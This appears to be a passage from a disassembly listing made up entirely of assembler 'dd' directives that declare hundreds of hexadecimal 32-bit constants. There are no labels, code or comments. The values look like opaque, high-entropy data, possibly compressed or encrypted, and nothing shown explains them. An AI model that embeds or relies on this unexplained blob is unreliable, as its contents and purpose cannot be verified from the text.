dd 4A6416CFh, 9B3B7Fh, 0D3CB31C1h, 483537E7h, 0B5E21201h dd 0B62C440Bh, 92007828h, 0D6CE1E7Fh, 0E50030F6h, 0B79DBBFEh dd 0D8A9BEh, 0ED46F222h, 2892DA56h, 11F92030h, 6E58DCDh dd 0A0B6FB24h, 590131B5h, 1BAF8618h, 0E03435A8h, 0AEB12CBCh dd 1A003C30h, 0C501236h, 0F40F205Eh, 9E3C649Eh, 32104E18h dd 823E41B5h, 0CD854620h, 1B07E0ECh, 3D3F26BEh, 0FF541C39h dd 0B1D809F8h, 3300BBEEh, 3C1AF81Dh, 8CE73601h, 906042Ah dd 170F80BDh, 1E07428h, 0ABB6EEEAh, 1E56DC00h, 0F4A3FA91h dd 0A095608Ch, 0D4F65819h, 250C4EFCh, 683C1FCCh, 221C36Fh dd 0B2D08BECh, 96028AC9h, 90FC8FB4h, 0A084E31Fh, 5E8DC3h dd 30617F2h, 0C092680Ah, 0E58BFh, 759F23D3h, 990D8AD8h dd 908152h, 0A080BECh, 0CBEA121h, 9A9DBC43h, 400A570h dd 7CD3FB69h, 28B3BFC8h, 28DC210Fh, 9C01F3h, 98FE759Bh dd 0E81EBE15h, 0B34A4F1Fh, 0C98D81BAh, 0EB7A7F6Eh, 3069E9C8h dd 0E1599615h, 2F01A448h, 0FE8C2546h, 0C2EC2AFCh, 1EA8Eh dd 0D10B52C1h, 9F2522FDh, 0C7D913Eh, 0B0FE90EFh, 6F724Bh dd 3617D63Eh, 0F18E4F83h, 76E8745Fh, 9BDC5300h, 39B619BDh dd 0F48CE600h, 0D1D44468h, 0C5127707h, 0B242B9h, 0E21B3848h dd 0BE038253h, 0EAA6DD89h, 0DAD1B002h, 222B182Fh, 5AF32898h dd 0D9367B03h, 0A113A1BFh, 0B4DCCBECh, 0A37900AEh, 5EC41A97h dd 9105FB89h, 0CEA8B5Ch, 0B73D9803h, 0B447C82Eh, 3BB130BBh dd 20DC8F19h, 891C100h, 948379C8h, 0CE403C97h, 0B30B00F7h dd 31249E17h, 6C00690Ah dd 2114B6F2h, 3E0C3Dh, 0E4F8C387h, 76B9EEE0h, 7BD7423Ah dd 935C2300h, 0C1DAB6E5h, 3A3E0AB8h, 0B5408Bh, 704F7A5Fh dd 27AB063h, 0B40C20E4h, 203CACC7h, 58250055h, 9AE5CEE3h dd 0D8012EEBh, 0C9999DF8h, 0C1CC1BD4h, 859C09Fh, 43B09362h dd 0F50606FEh, 3DE3639Bh, 8A7F0148h, 0E0301495h, 0A0108104h dd 0FAD296AEh, 3F8B0A70h, 607462DDh, 2222167h, 7338FD87h dd 0F2B30090h, 2FC67AB7h, 257FFA98h, 73507E40h, 0F9DE3200h dd 0AE03ED6Dh, 60B401B6h, 3B95ECE3h, 0ADE88182h, 714D4CEEh dd 30127CF0h, 85306268h, 0D0065A7h, 959B3D6Ch, 600B4EFDh dd 52F840B5h, 1D3EDB35h, 0A3F20793h, 57E0EFEBh, 48B00BF0h dd 7F71D6h, 0A2726E67h, 4F814C48h, 4CEB7E5Ch, 6120174h dd 0A0BDA58Fh, 8804E0FAh, 8A40083h, 19800A15h, 2AE85B42h dd 0E7146101h, 0A78EDC12h, 3EA68CCh, 0A2018BDEh, 8FA0849Ch dd 7B3D2EF4h, 67F88235h, 87FC9A33h, 1EC085DEh, 0E0F08812h dd 189D6099h, 444E3D87h, 4565040Ch, 13E40F8h, 0C69B910Ch dd 0ECC25F7Ah, 230F4BCEh, 0ACD5AAF9h, 0F4B018h, 0BBC94405h dd 0A0DECD24h, 300B098h, 9EE854A3h, 1DC9253h, 870DBD19h dd 80812486h, 0EB489A0h, 457F73h, 0BF7D9D1Eh, 0F08B42A6h dd 3CC7D000h, 0A5736E01h, 0AC970166h, 0BF560B77h, 0BD1080D3h dd 0D19F8498h, 52E2F1h, 7FEA40E6h, 6DBCD079h, 9435D31Fh dd 626980F9h, 37EBE11Eh, 0D07E0141h, 20746B88h, 0AACC0C4h dd 30E02900h, 0AAEA75F2h, 6E36E8F5h, 0CB40207Eh, 53E5741Eh dd 62D05B01h, 0E1E2345Fh, 2D036010h, 69566E1Fh, 3F75FB0Eh dd 61707C0Ch, 7A800B9h, 0FA9BB6E6h, 948E0DFh, 0E9890E34h dd 0CCA64015h, 0A05C048Fh, 74DDFC28h, 0D87400C7h, 696B523h dd 0EB0099CCh, 80898839h, 3011E67h, 8C10F6EDh, 0D9081A96h dd 406A9E02h, 0E29BEE82h, 80856070h, 540A11E6h, 1276DF10h dd 34002DE4h, 9AD548C8h, 783FA3h, 25DC9EE7h, 5D5C051Ch dd 0C700C0ECh, 7DBA0E91h, 9866B236h, 0F4C600E7h, 92F1575h dd 6B006CF0h, 0E5A2D1BCh, 36E0ACh, 0F3B46301h, 8E117A73h dd 74058207h, 8D12DC4h, 0CC209D84h, 76FC605Fh, 0ED3B611h dd 0A8075A00h, 0ACB5CA47h, 74E038A9h, 0B92EA65Ch, 0CD823DDDh dd 48A57C5Dh, 695A57C0h, 29309A00h, 270B1C83h, 8C2100D0h dd 0C35BC925h, 0CCCFD456h, 2B009362h, 2AC23D60h, 2B0700E5h dd 8CAC664Eh, 23005CFBh, 6A513857h, 70DF48h, 0D05DE9C7h dd 46C503D4h, 0E331D574h, 0BFEC204Ah, 3E21E8h, 5DE520EBh dd 49DBE695h, 70A91206h, 2861FDh, 0C389DE1h, 74659989h dd 780E5500h, 322D9201h, 0EA940A14h, 5C4090B6h, 8049A621h dd 9CA3608Fh, 0BD022125h, 125958AAh, 0CC1640F0h, 0D99000BAh dd 95484E6Bh, 0C0033CA4h, 0C1315AB0h, 3FC900DFh, 0F7915E4h dd 800A56Eh, 0C4EC1682h, 774C04DCh, 295C60E9h, 4BB6BBB1h dd 192C9201h, 1C74CA3Eh, 0CB4FA760h, 78844620h, 0C6F681C1h dd 5BC8804Eh, 9D4CAB2Eh, 767CF8h, 0B3550EDAh, 98BCBDF0h dd 0BD4B1C3Fh, 54B86023h, 0A46641CCh, 3BCB0C88h, 3610B28Bh dd 9399C00h, 47716729h, 0C9040E50h, 0DD3C5331h, 4AF5800Ch dd 8E41806Ch, 0CC1C2900h, 0DC73F9CEh, 7857F4DFh, 4A0C0084h dd 26D49895h, 0CD009F31h, 2E6DF4D9h, 592A1Dh, 14211F06h dd 3BAA8C7Bh, 28C82C00h, 0F736D5A9h, 0CF63008Fh, 942E7F22h dd 45E47283h, 6D9C8B0Fh, 5FC07CB4h, 4F554CFFh, 2E6E98FAh dd 0E83966h, 0E09554D9h, 0D20397EAh, 7BC5CB87h, 8E22D0BFh dd 0FBE41C19h, 0D952CF1Eh, 137067E0h, 0B50E4F97h, 0AB050758h dd 128B00EDh, 0F89993B8h, 3E9BE236h, 3E00F21Bh, 94F58EBCh dd 0E70EF610h, 0A07B110Fh, 40BA056Ah, 15730666h, 84B2DB1h dd 0E121EB60h, 71EEC160h, 0F07F05Fh, 0DAF3E9C4h, 68F1B6A0h dd 0F4F8104Ah, 0B87B5DE8h, 8B9611C0h, 0FA1CBh, 97F1EA6h dd 727C2BDEh, 49204C67h, 0F345CB40h, 1A2500F1h, 0A88223A3h dd 79C0EAC2h, 0F02A598Bh, 83E43EC1h, 0C3CE2C00h, 0F193A3D1h dd 63FDFE14h, 0CB9A8038h, 21EE07D4h, 0CE0875BBh, 0C540005Eh dd 0DB8A79CBh, 114F6A0Bh, 89510019h, 0A134E8h, 0F1B97F52h dd 7C105124h, 507D1D39h, 0E77A679Ch, 178FFD00h, 0B590F453h dd 6976001Eh, 4DAADD88h, 2400D50Eh, 2D57C6DCh, 9A0259h dd 1EC782ECh, 5C6594B4h, 0D810C02Ch, 19A95200h, 2B7547h dd 448AD202h, 0BCFF64ACh, 45E85D00h, 73D525B1h, 4F8700C9h dd 0AF44637Dh, 11262A6Eh, 0AB00CB28h, 0C5598ACh, 7345339Dh dd 15F9F580h, 2E8D8E4h, 0E354140Fh, 782161B4h, 60806B58h dd 0B7DB3925h, 4B381406h, 82C03070h, 2C012C0Eh, 0EAAA9Ch dd 7C83FA65h, 0B6785571h, 78E00330h, 0B25722h, 604E27F1h dd 985D409Bh, 6CAF4600h, 95B40A2Bh, 6680009h, 0F9E2B3ABh dd 0CB8061E6h, 0C075FA97h, 808D30A8h, 0EF07789Bh, 459CE53Bh dd 0C28BB66h, 496834C7h, 0A23B696Ah, 0A4A1E037h, 1EBDE866h dd 0C01C0A20h, 0EA8624C4h, 5A00178Ch, 5BC66185h, 13293CAh dd 0CF8FB99h, 0E43DA1FAh, 5460F045h, 661D9560h, 101B00B2h dd 0EF1ED12Ah, 3F2CF78Eh, 0D20048D0h, 8C735515h, 0DEFE001Bh dd 5E092821h, 0D30FBDB7h, 0E091F03Eh, 4B663B2Ch, 35C11DCCh dd 0F2880061h, 0ED9E19F9h, 202ABC30h, 1CC12BB4h, 80AB228Ch dd 0B509D243h, 0DC009465h, 789C25FDh, 0C75F6h, 0E162D640h dd 0CAEB3714h, 0AB405A67h, 4EB3F151h, 0EDF27C8h, 0D29CC36Bh dd 0A121358Ch, 0A03DB87Eh, 303E800Ah, 0A59CED55h, 7A0B9033h dd 0A30D00D9h, 769A12BAh, 5B002AABh, 5C372BEFh, 31850B3Bh dd 0F20835AEh, 0FB208067h, 6A293488h, 0C20F2B9h, 3EE15CECh dd 37151071h, 5F50D0E0h, 4F8AD61Ch, 108850D4h, 23140038h dd 6C0ACCBDh, 39E58F00h, 3436809Ch, 0B5A10056h, 3FB90381h dd 966A0B09h, 0B021AEC4h, 414F880h, 867F6C5Ah, 574E20h dd 9337E7B0h, 61E0BFC8h, 511BC0C1h, 0A1805D2Bh, 67D9FC65h dd 61C404EBh, 45309395h, 0F110EC37h, 0B5B08829h, 820FBE18h dd 0E0381CFBh, 5DD2FA80h, 78BF00E1h, 6AE4ADABh, 0F40031EDh dd 45DCE576h, 4C3871C5h, 6C032E35h, 0DF3AF6C1h, 0A697E8D0h dd 0D5F6B00h, 82896079h, 58270088h, 320B399Dh, 400BA87h dd 6F2A1F3Bh, 1DF3F642h, 41B5747Ch, 416B107Bh, 0C24D3049h dd 0F499A200h, 0A04E8CDEh, 5B70076Eh, 0C192A19Ch, 0F05E9F13h dd 7600AB49h, 2FAA240Ah, 132F84Dh, 965FDEE2h, 0DCC47F80h dd 0D51F15B8h, 46809485h, 3972FA7h, 7767F6E6h, 2D2C0091h dd 0CE318BA8h, 877FEB8Ch, 8673BC79h, 33209E64h, 0B3D9F300h dd 0C9F213BAh, 418150C0h, 674CC614h, 0A091815Dh, 8C89B16Bh dd 32CF11C0h, 2C21A390h, 3CF7A170h, 43EA4BAh, 3E915080h dd 97B99089h, 3B44423Ah, 0F41A062Ch, 0A17919h, 93A73FF8h dd 3B69504Bh, 3CA9B400h, 0E673B32Eh, 4AEB1EDCh, 5E36CCC1h dd 0C530FD30h, 9C4DB897h, 0BB7821h, 89947685h, 4FD3D8C0h dd 0E5115D01h, 86CB2E51h, 60C9E0F0h, 6B94C8B1h, 60A88320h dd 66089043h, 62A46822h, 0EF00CEC5h, 9C8DAFh, 7BD1A077h dd 0FE020D80h, 8FD95D1Eh, 4D75A180h, 0F42D4E88h, 0BCE9F1B1h dd 3D413CE4h, 0DA8002EFh, 2FD2F9CCh, 0FB00B316h, 7DE15A9Ah dd 0EA28FE18h, 3CE31EFDh dd 7F540E6h, 992E0185h, 82454D00h, 8D203358h, 0E0D0039h dd 0A8A7885Dh, 7500E77Bh, 0CBF338BAh, 33EF99h, 28906BC2h dd 0ADC5B6FEh, 1C0060FEh, 0DDC3BD6Ch, 720ECF50h, 0EE4816F8h dd 0FBFEC46h, 6067B8A3h, 9E186909h, 26BD00B0h, 0D0DD19CFh dd 5400244Fh, 222CF16Ch, 7FB1282h, 0E932C1C6h, 5B7AC04Dh dd 0E0FB44BFh, 0CC039183h, 481F2673h, 40EAC8DFh, 1C5BB805h dd 9DB08E8Ah, 396F41F4h, 0F18502BCh, 3D2FFCF5h, 8F4C10DDh dd 0F592864h, 4184EBA7h, 0ABA2B200h, 9D005D86h, 0D953D725h dd 7366DDB5h, 15A70C1h, 0B1D0130Fh, 0D0772AC9h, 7618BE71h dd 0F672A0DBh, 0E08B6070h, 5A7F8D91h, 3C895400h, 38DB636Ch dd 0AF550002h, 0BC44F1DCh, 84007BE3h, 0F437F511h, 0D16DD4h dd 2C2B01F3h, 0E2AED0B1h, 0E9BA98C6h, 32970008h, 0D4E7FBE1h dd 65019051h, 3B867C08h, 36DC5BCDh, 0ADE9002Ah, 9F3C17B9h dd 0B30B52E6h, 8066BC38h, 1075D720h, 0D197005Bh, 7379D284h dd 5A035150h, 4CEDDD9Ch, 0E8690EF3h, 0F0E0D41Dh, 0CE55B92h dd 0B300D67Eh, 0D02EA6A1h, 3574CB19h, 8031DE87h, 6386F7D9h dd 0E5002DEAh, 0A211F660h, 753ABEE4h, 0B974C6h, 9CAF91F1h dd 745B1B79h, 0CD17F00h, 950FC6EAh, 48840041h, 9D432F55h dd 6301017Ch, 1D513221h, 89D5496Ch, 0E1CFB881h, 0EBAD5AB7h dd 799DBFC0h, 1E650512h, 0B6B2A600h, 242B7DDh, 0F7788BC4h dd 0A4A0D416h, 36490CCh, 22651209h, 20B0017Dh, 0A7E48FC4h dd 84F47Ah, 0C5CEE6A4h, 7F5DD427h, 4004CF1Fh, 0F43666C0h dd 38A9560Ch, 38805487h, 0CD772669h, 52EAED40h, 289CACA0h dd 0C951D600h, 0BED86775h, 0E30804DCh, 8050EDF0h, 6E6A8E5Eh dd 0DE8FB000h, 25EE56E9h, 0A7175132h, 7B398E0h, 0C46D8995h dd 0B6BA5007h, 371E2CC2h, 80406254h, 9F562732h, 0B0E70FECh dd 401D1E1Bh, 4C2BFD3h, 0BB0040C3h, 8107A4B8h, 9DF65DEh dd 8801FAA2h, 20F5B400h, 0D71E4D51h, 80BB44DCh, 0B01AC3F8h dd 3FE981h, 4EEEC7Bh, 0F57E3075h, 0A1B28003h, 98B8465Eh dd 0E2B6BBF3h, 9B6A0066h, 20EA1849h, 5300E73Fh, 990CADA8h dd 0B012E3ECh, 0F361036Fh, 1BC1C205h, 9802F9E0h, 9DB42E00h dd 7D91F813h, 0E970EE9h, 88005608h, 0EC90D531h, 0F2007A72h dd 0EA120DA5h, 0A00F95A2h, 40984D2Ch, 593B1E53h, 205CC0DFh dd 1411B56Ch, 0C43CDE90h, 318887B8h, 0A9419951h, 0B1001848h dd 818898DEh, 212576C3h, 22B81A05h, 0ED501148h, 3173487Ah dd 0A68D5891h, 19EC2508h, 84E93D80h, 0F0E2AEB0h, 9C96051Eh dd 301E842Ah, 1302BE26h, 2368FA4Ch, 58A63D38h, 0A98C921h dd 9884236Dh, 96E759B9h, 5197F030h, 9572FEh, 0AD9217B8h dd 24A78782h, 1458F095h, 0C4F35FF7h, 74EE6B03h, 7804E8EDh dd 0DF696003h, 0D86154BCh, 0D09B8B53h, 0E5602992h, 0DFDB070h dd 1688C091h, 7178365Fh, 7600F9E0h, 391107B4h, 63676A5Eh dd 5CEE30BDh, 804DE0D8h, 87047377h, 7F0B24CFh, 9D8E6C90h dd 0E750FB8h, 10278426h, 0CB60D002h, 8307E0AFh, 13906112h dd 585CBFC1h, 1689B840h, 78F60651h, 48BB080Bh, 3492A771h dd 97A1C900h, 0BA2CA64Bh, 0B5260BE6h, 4A008DE2h, 0C23D643Ch dd 7EBD1914h, 0EDEF0094h, 7A2D613Ah, 5381006Ch, 63310F4Eh dd 7E00AE49h, 0A262D510h, 1540918Ch, 0B8AFA973h, 0B9D4B500h dd 679071F0h, 9AB05E01h, 0EA8AE23Dh, 0DAC0BB40h, 37DF849h dd 2F123880h, 0CEE39402h, 470F4000h, 0B223AE0h, 6E2718F3h dd 82A7909Bh, 60EC08CFh, 0E5E74C5h, 1811E83Ah, 3035CEBFh dd 35B09C6Ch, 778C6949h, 1706049h, 0C74E4798h, 0DFF4AAE7h dd 6920F5Fh, 0E50AE124h, 3BC28004h, 0A6F65232h, 6B1C9600h dd 476870B4h, 766A1E28h, 0E2310383h, 0F898E780h, 750ECE59h dd 0C0749C19h, 0EFF73A81h, 6FAA0060h, 439BAB25h, 370009DEh dd 5977240Dh, 0D4BE49h, 5DAD791Bh, 0B42B20C8h, 0EE7F7100h dd 74AAC0A0h, 9E03009Dh, 0CDB0440Ch, 19771A6Eh, 201F798h dd 0E6C08B6Dh, 85EC1BFDh, 77B90757h, 401EF9B5h, 45757B8Ah dd 87A36903h, 80D4E3EDh, 0F23598h, 59EFC30Dh, 82650A4Bh dd 6AE1FC00h, 33B62608h, 0B07491h, 24BB8BE0h, 0F154B2D2h dd 0AF3F9000h, 0A4D0622Bh, 33430418h, 0C75B539Ch, 4AC380F9h dd 210077F7h, 0CB4BF9A6h, 0E727360h, 0B9DABFF0h, 7A5B7C3h dd 0C2E3F6E8h, 380009F6h, 8D5AA70Ah, 2DFA1Dh, 0AC873F7Dh dd 0F1C6E155h, 0E0AEA11Ch, 0F02F6743h, 73FCC06Ch, 0B227D30h dd 46BA21CEh, 27988D03h, 44B982A3h, 0CBA0505Ah, 0DB004380h dd 2296C3A3h, 77B77D3h, 8707E127h, 0B068E7CEh, 0A86EB4D6h dd 8C214400h, 336F34AFh, 0FE81003Ah, 0AEB92F06h, 66073231h dd 7154F01Bh, 2E63A6B0h, 67C800C1h, 797D97FEh, 0B70069E5h dd 1420C426h, 0D3F2A5h, 4DF03B8Bh, 0E64D705h, 0A947900h dd 0E10993ADh, 3786304Ah, 5EF30711h, 0EB7470F4h, 64154200h dd 7D4FA7D4h, 0A560030h, 9C7258A0h, 0EF1C2807h, 6080EE8Bh dd 0F1680678h, 0ED1200CDh, 3C11DAA4h, 0A792654h, 98EC1B02h dd 80903068h, 795FF8E8h, 0C8380702h, 0F0060D75h, 18A85A42h dd 6CF38106h, 66930h, 2B72B722h, 0F16BDED2h, 0A802F703h dd 80A0A9ABh, 2F5CC0h, 9A872571h, 1812B90Bh, 60AABA01h dd 883261B2h, 1D9EE7F4h, 804F2054h, 0FAF170Ah, 100941Ch dd 52800289h, 310C09AEh, 0EEE04C53h, 0C1EAE445h, 186E1F0Eh dd 49952317h, 0A0EF989Bh, 0C2D80286h, 9A476CD4h, 0F1A68440h dd 56EAEE00h, 2A02A40Bh, 0EAAE9061h, 711F00E9h, 0CD8B0E8Ah dd 3300445Ah, 487A23D2h, 0EA483D1h, 0C0F2CF6Fh, 80828564h dd 1D2109F8h, 5D70B700h, 0EECB5FBDh, 0C8E43C5Ah, 5EEAB08Fh dd 47D609A3h, 596899E0h, 67FB8400h, 0DA890228h, 832101D0h dd 4469ECF9h, 1A9C4087h, 0CD1D358Fh, 0F300914Ch, 534B66D1h dd 610E031Ch, 0FB392970h, 19FF97B8h, 0A628F400h, 99827DF3h dd 38560042h, 0B1EAB5C9h, 55007A21h, 0CDEB4A20h, 52A0EDh dd 850CF29Ch, 0CE22A23Fh, 15708049h, 5A0A36Ah, 67890ADCh dd 0E7D8F440h, 2C46417Ch, 69D633h, 3F14A1E6h, 0E300C33Ah dd 822C9791h, 0F4D4105Fh, 213000E0h, 14C47454h, 0E40FDFB4h dd 8038623Eh, 870FDA05h, 57210024h, 9175E07Eh, 747428EAh dd 3B95A300h, 79B131BEh, 5CF0A9h, 70DEB8A1h, 5DEC5213h dd 958CFC1Fh, 0C011FD40h, 7B9F1Ch, 5B6EA19Ch, 0EFF67776h dd 0ADBCCD07h, 0D370D841h, 0B8DC2A86h, 7DB02E8h, 1E5076EDh dd 0D808D860h, 41FCB100h, 34A0E9C5h, 8A792Fh, 71938778h dd 0D2E57D58h, 7014FD02h, 406EFEEAh, 0E7C21C8h, 0F0613EFBh dd 9E109B00h, 7A09698Ch, 0A0032B4Eh, 0E7AFDA04h, 0E2D8013Fh dd 9006A49Bh, 27A0FCB1h, 465CD00Ah, 8301BCDEh, 6F400548h dd 717072FCh, 9763008Ah, 0E75E0C9Dh, 0F897CF4Bh, 3EB0B03Bh dd 3E004548h, 0EA07F19Eh, 75007697h, 0C22FEBB0h, 7716BCEh dd 0BCEE53D8h, 4A9A5023h, 0D503BB47h, 0F19D3D72h, 0A9D6986Fh dd 48B0001h, 0B9C7903Bh, 0CE39716Ch, 0D5B4071Fh, 0F9806D77h dd 719EDADh, 367E25ACh, 0D0829409h, 39BD859Ch, 0F0B71200h dd 63AA8EFDh, 1EE7803h, 98A2C29Bh, 3159F309h, 7B9820C8h dd 9E2CC53Eh, 982C3827h, 0D0B81E00h, 0EEA556h, 85482897h dd 0C2A37A78h, 0AF11200h dd 0B18CA47Ch, 1405004Fh, 0EA6E6164h, 0AD001363h, 0D72FECB6h dd 75E348A1h, 52071C96h, 7129405Bh, 9D828846h, 0BD254400h dd 64CBFBAEh, 11D84801h, 0D579007Fh, 1A9CED02h, 0A4070D81h dd 3B72096Eh, 4DEADA10h, 159D00C2h, 994C5804h, 4F48F219h dd 0A95F00DCh, 86357955h, 0A842001Fh, 1DA0EB60h, 0BD0002D3h dd 0CB2062E7h, 290D89h, 9AB777B1h, 0A2371443h, 6C2F6416h dd 94C200EEh, 495250C6h, 0F58F6F0Eh, 0F716079h, 0B8395FDh dd 0E1C2A5C0h, 7E659800h, 0B698056Ah, 508BD44Ch, 5303D226h dd 0ADF0B1D1h, 1880C4CAh, 149E4Dh, 0F9FE9647h, 0F366C2CCh dd 0E46C1100h, 0AC5BF60Bh, 8D3605E5h, 6D9656h, 0CE3F44E4h dd 800BAC1h, 41BEEC12h, 13AD74A1h, 403AFC3Bh, 8E251C44h dd 0D601AF90h, 5FCA1607h, 0BF08518h, 0CCE73DAEh, 41948E00h dd 0A5AA53F8h, 38611400h, 4F436278h, 34E400ECh, 0CE01040h dd 0FD0335B9h, 75C58453h, 0B845F0EAh, 0B07148B1h, 0CDF50777h dd 17D7519Fh, 6C1DE09Bh, 7A001A3Ah, 0A325D087h, 51EA82Ah dd 88F6420Bh, 3FC0D01Bh, 9E0157BBh, 63CC162Fh, 0C3E8B814h dd 0B5620275h, 84A20DE5h, 2AF0B463h, 11CB1DACh, 0DF6D0012h dd 3072470Ch, 8A3074DBh, 9E0BC6C4h, 0A0E75B55h, 457F0F0h dd 6B2E099Ah, 0F78F4F82h, 55E2005Fh, 72C23A07h, 8BF6AEA1h dd 7AAF30h, 9D64248Ch, 0BCEC035Bh, 0B9AB57E6h, 844207C2h dd 3E60C07Dh, 0FF6600CEh, 4562726Dh, 410026CFh, 2D3FA509h dd 1C9DBEB3h, 261AB28Ah, 597B18F6h, 6007F659h, 4C321B7Ah dd 2F444D80h, 0D8F400B8h, 3E6E5221h, 0F6759450h, 0D79DA103h dd 84F3D2Ah, 3132C3A1h, 5DC1E100h, 14E52FBh, 4B01F45Bh dd 4128A490h, 42B0F710h, 80A08D1Ch, 0AFB987A6h, 3D215000h dd 75FDD9E4h, 672F2E48h, 0FF803994h, 330F5D78h, 0C63FD195h dd 0AB8280CDh, 8B1425B0h, 3C023D80h, 6E41E802h, 4A603F4Dh dd 5600CE11h, 0FDD1C281h, 323D28h, 13A8EA50h, 91F420BCh dd 0B60708FAh, 81D88F03h, 0B405290h, 1C981CA8h, 6AEE4007h dd 51E54A3Eh, 0E679DC00h, 92A816D3h, 0C9956029h, 43B947A0h dd 4D00B377h, 4617C40Bh, 75C661Dh, 5F6B7DDh, 0CE6C10B4h dd 0FD01EEA6h, 46F0270Ch, 72F801F5h, 7A300373h, 222F81B6h dd 0A79029D0h, 8CE5A800h, 0E2DCD852h, 69270031h, 0F4E77499h dd 661DD72Ah, 6E4DE6CEh, 0EEEC88E0h, 5777009Ch, 604763BAh dd 2278A827h, 4EC939h, 0DB03E5C7h, 302A9ED1h, 61C0587Bh dd 0AC00A6DEh, 42F5B293h, 5C734155h, 77812FBh, 35D22E49h dd 0C9BD774Eh, 4052D80Fh, 0ABC28E64h, 58074BC7h, 0E6BE6BE8h dd 0A0108370h, 1C7714h, 0CD7DA567h, 94E2447Ch, 4EAAD500h dd 0B3B5C2D2h, 98D47C47h, 9B88C0F0h, 5356A018h, 58EC1700h dd 22C50C28h, 0EF7E32A4h, 4968B10h, 393AA21Ch, 0DF707BEh dd 0DE10A150h, 78946BBh, 5B4C604Eh, 9F1630BDh, 810C3576h dd 2969C8F8h, 134D40F7h, 0B900A4EAh, 0DD1A33DFh, 5425ABh dd 0FE482780h, 57F822F0h, 0E8E9300h, 3B5E8F9Dh, 58060074h dd 0F2B2EE1Bh, 0E300247Ah, 0B0E8312h, 0BB45D6h, 4D320C7Eh dd 6DE516FBh, 0B3656207h, 12E07801h, 0EFD124h, 0A4B105DDh dd 5B8956A5h, 19B2302Ch, 68AABC00h, 0E8C033h, 77571DE4h dd 0F4C9DDA1h, 0FC970D01h, 859A1788h, 3A78120h, 9B09024Dh dd 5DE25F51h, 73C18980h, 0E95675Ch, 450013ECh, 358FD1CCh dd 49A0A084h, 0E46603E2h, 3F45B57Ch, 0CB8E2EB8h, 0D0B2B70Eh dd 1198F1Bh, 4F0BC179h, 0E32770h, 0F3570D67h, 3147E7F9h dd 0B15DD902h, 0FF36B5D3h, 0A1CA6060h, 9BC90E1Eh, 2F714D40h dd 747EF98h, 29067BC0h, 0D8004EFBh, 59BFACBAh, 831DEC01h dd 1B8F4A41h, 71D2D8h, 2C5BF79Fh, 57348673h, 0CD07B60Ch dd 7E8BB9EDh, 51DF03E6h, 88E19056h, 251D9087h, 38FA7E77h dd 0FD90C01h, 0B73EF02h, 4150D051h, 2C5F91D0h, 58A37Dh dd 3C8D7F58h, 0B37BDD93h, 83DA0C00h, 0CA496FBFh, 0D0741FACh dd 7CAE009Eh, 0F71ABDCEh, 0ED3E8603h, 0F899FD30h, 0B285CFh dd 773C3466h, 6FF3B158h, 5BDC0D04h, 60902232h, 901C2B43h dd 34FB492Ch, 0BD36D500h, 0CB0A8FADh, 1832C600h, 2BECA6Ah dd 0EB9800F7h, 68BD9AD3h, 0A3008F19h, 1024FA5Ch, 18C4E4DEh dd 0B0B4F20Ah, 4821CEA2h, 0CD92C073h, 3B002099h, 13296E4Ah dd 905B5AE0h, 9DFC0B4Ch, 7D00D897h, 628A8F60h, 0F3A77400h dd 0F595376h, 45C600C0h, 0BE933B9Eh, 5800F9A4h, 31161A77h dd 767D130Ch, 0E937005Ah, 42596F25h, 0A90070D3h, 60827972h dd 38EDE16Bh, 2D0B17F3h, 90004DC2h, 0F999951Dh, 0B4455700h dd 9B07E4E0h, 0C5C1007Eh, 0ABA4F4A3h, 0EE0019A0h, 3125A29Fh dd 0E4AD86h, 6AD07812h, 0BE0157AAh, 0E85026h, 3D49600h dd 1C60DEh, 6E889D5Fh, 556A6174h, 909B121Eh, 6CB2E500h dd 4EA62C4h, 0D9F2D828h, 0D0498088h, 0E901FB8Ah, 127824FDh dd 59B9CF16h, 0BCBFE100h, 86F18493h, 46AFBB00h, 346B1D15h dd 55830073h, 0FB648DC8h, 1400C778h, 40712CB5h, 6F5766h dd 1B4A2631h, 1553A064h, 0B7DA7300h, 0F722BFB6h, 0E3B0008Bh dd 0D30D6C8h, 0D87CEB69h, 3D155B07h, 6280B4F4h, 0EE8BDF37h dd 0B2BF005Ah, 63862CD3h, 0A200EEE4h, 9A024F13h, 88F971h dd 53C5DA1Eh, 0BF192DCDh, 8739DD00h, 31FABD7Bh, 0A2110018h dd 0B3CB880Fh, 7500D192h, 6B57595Ch, 0F40104EEh, 71902868h dd 2A510ED0h, 3EE00307h, 3A19104Eh, 61399800h, 0CE7874A3h dd 34BF3ECCh, 0C703DA3Ch, 377BED2h, 0E3F91AB8h, 0DCBD0201h dd 28598671h, 583F11F0h, 0EF07C555h, 6730C7ECh, 0D727B051h dd 3B0E82BBh, 6F04F52Bh, 6F850741h, 1B879005h, 0B6261A10h dd 5690089h, 42089E91h, 45007D43h, 68752EB5h, 15E087h dd 6D2F20BBh, 5AD7E903h, 0B8E29400h, 0F5D5774Bh, 0E44001Bh dd 10E1A3C3h, 1503EBFFh, 0C1238C2Eh, 1137B097h, 0C4540026h dd 0BDB1B29Bh, 6EF08549h, 8324AE39h, 0F05936A2h, 0A3AFD8D8h dd 314B8D6h, 10DB9FD4h, 4FC81794h, 0B658E8A2h, 0FB7900ECh dd 0AE042E0Dh, 704809ACh, 0C4804D1Eh, 5585D74Ch, 0B1E0A400h dd 9CFB3625h, 0F57600D3h, 0A0176711h, 561D81E6h, 2401BAFh dd 8BE543Ah, 0D8740296h, 0FEAC9ECAh, 472D2860h, 0AFE67316h dd 85922800h, 0E0C6E9h, 94B8A78Eh, 99DFBD38h, 6F5C3700h dd 5363EAFEh, 4F1E008Ch, 6EF57D59h, 8F00E3FBh, 436B40CEh dd 0E75BB1Ch, 0BC5ACFD7h, 1BB23100h, 387597C9h, 0C66BB500h dd 9366FA4Ah, 6FB1077Eh, 0F79311Dh, 0A8FE2DC0h, 0E717AF87h dd 8703D208h, 0B1DF7246h, 83F89B19h, 9D2D0156h, 53FB7B7Ah dd 5CCEC452h, 6337800h, 22C9AF76h, 0E4861228h, 2A8C00F6h dd 921877DBh, 0A2D94C07h, 0C990DAA8h, 0A345A5h, 236D07BCh dd 78C2761Fh, 0BADC5000h, 8140E9EFh, 0BB1400E6h, 4474D59h dd 65058092h, 0ECA31A88h, 0C1F81CD1h, 90C4E060h, 49DF003Bh dd 4AD648A2h, 0FF01122Fh, 0FA7EDD0Eh, 36CCE601h, 59C9095h dd 0E8DF3BFBh, 0E230803Ch, 11D432A1h, 556B0745h, 1C20CC89h dd 375D6AFh, 529C18E4h, 19A8815Bh, 7706022Dh, 0ED44F9C5h dd 0F07C88h, 8589C32Fh, 0E238D641h, 8B2CA61Fh, 51A0A902h dd 520F6010h, 0C7CBAE4h, 0D753DF70h, 0E107C1C8h, 